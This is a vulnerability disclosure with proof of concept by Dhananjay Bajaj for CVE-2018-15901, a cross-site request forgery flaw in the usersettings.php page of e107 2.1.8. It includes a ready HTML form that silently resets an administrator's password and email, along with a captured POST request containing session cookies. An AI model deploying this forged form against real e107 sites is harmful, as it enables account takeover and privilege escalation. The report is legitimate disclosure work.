

# **E107 2.1.8 Cross-Site Request Forgery Assigned CVE Number: CVE-2018-15901**

Proof-of-Concept

**Submitted by:**

**Author:** Dhananjay Bajaj

Email: [dhananjaybajaj1995@gmail.com](mailto:dhananjaybajaj1995@gmail.com)

LinkedIn: <https://www.linkedin.com/in/dhananjaybajaj> 

# Proof-of-Concept

Hello,

I would like to report a vulnerability that I have found on E107 2.1.8 in which Cross-Site Request Forgery (CSRF) attack is possible. E107 2.1.8 has CSRF in 'usersettings.php' with an impact of changing details such as password of users including administrators.

Hereby I am adding the information related to my finding so that you can have a brief view.

**Technical Description:** Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

[Attack Vectors]  
Steps:

1.) If any user opens a crafted URL then a request will be submitted on his behalf which will change user's password of the specific user.

```
<form action="http://localhost/ne107/usersettings.php" method="POST"
enctype="multipart/form-data">
  <input type="email" name="email" value="admin@ne107.com" />
  <input type="text" name="password1" value="helloworld" />
  <input type="text" name="password2" value="helloworld" />
  <input type="text" name="updatesettings" value="Save&#32;settings" />
  <input type="submit" value="Submit request" />
</form>
```

2.) In E107 any user can see user description including email id of other users including administrators and using this information can craft a request to change user's password for privilege escalation.

3.) An attacker can change other user settings as well including name, email subscription.



localhost/ne107/user.php?id.1

e107.com

## Member Profile

Member 1






admin

Real Name:	<i>no information</i>
Login Name	admin
Email Address:	admin@ne107.com
Level	
Last visit	Thursday 09 August 2018 - 05:44:28 ( 0 minutes, 1 second ago ago )

**Fig 1.1**

```
1 <html>
2 <body>
3 <form action="http://localhost/ne107/usersettings.php" method="POST" enctype="multipart/form-data">
4 <input type="email" name="email" value="admin@ne107.com" />
5 <input type="text" name="password1" value="helloworld" />
6 <input type="text" name="password2" value="helloworld" />
7 <input type="text" name="updatesettings" value="Save&#32;settings" />
8 <input type="submit" value="Submit request" />
9 </form>
10 </body>
```

Fig 1.2

 file:///D:/Tasks/August/e107\_password\_change.html

admin@ne107.com	helloworld	helloworld	Save settings	Submit request
-----------------	------------	------------	---------------	----------------

Fig 1.3

```
POST /ne107/usersettings.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=-----41184676334
Content-Length: 477
Cookie: e107_tz0ffset=-330; e107_cookie=1.47aa57b7b3911a4f221c10cb4006f341; pma_lang=en; PHPSESSID=atej6ge8dugdrn
e107_cookieSID=qmmul97hsfnbosmle79vnc4luoh9b6gibpk70m5j40a7ulrc4hlh8af5krnr19ml880ui5jfb7j2gqqqq554gu3o82gmea5s
9d4bb4a09f511681369671a08beff228=fn8pspumo23o2c70tuvddojm40; joomla_user_state=logged_in; a5eb07bf6c0768flab6294
f2edaecc6aff6f572elccc4ce553212e=pvale9ktjev20fa04pvtotuuq44
Connection: close
Upgrade-Insecure-Requests: 1


-----41184676334
Content-Disposition: form-data; name="email"

admin@ne107.com
-----41184676334
```

Fig 1.4

Success

Settings updated and saved into database.



## Update user settings

Username:

admin

Email Address: \*

admin@ne107.com

New password:

Re-type new password:

Fig 1.5

```
-----
[Vulnerability Type]
Cross Site Request Forgery (CSRF)

-----

[Vendor of Product]
E107

-----

[Affected Product Code Base]
E107 CRM - e107-2.1.8

-----

[Affected Component]
http://localhost/ne107/usersettings.php

-----

[Attack Type]
Remote

-----

[Impact Code execution]
true

-----

[Impact Escalation of Privileges]
true

-----

[Reference]
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
```

-----  
[Discoverer]

Author: Dhananjay Bajaj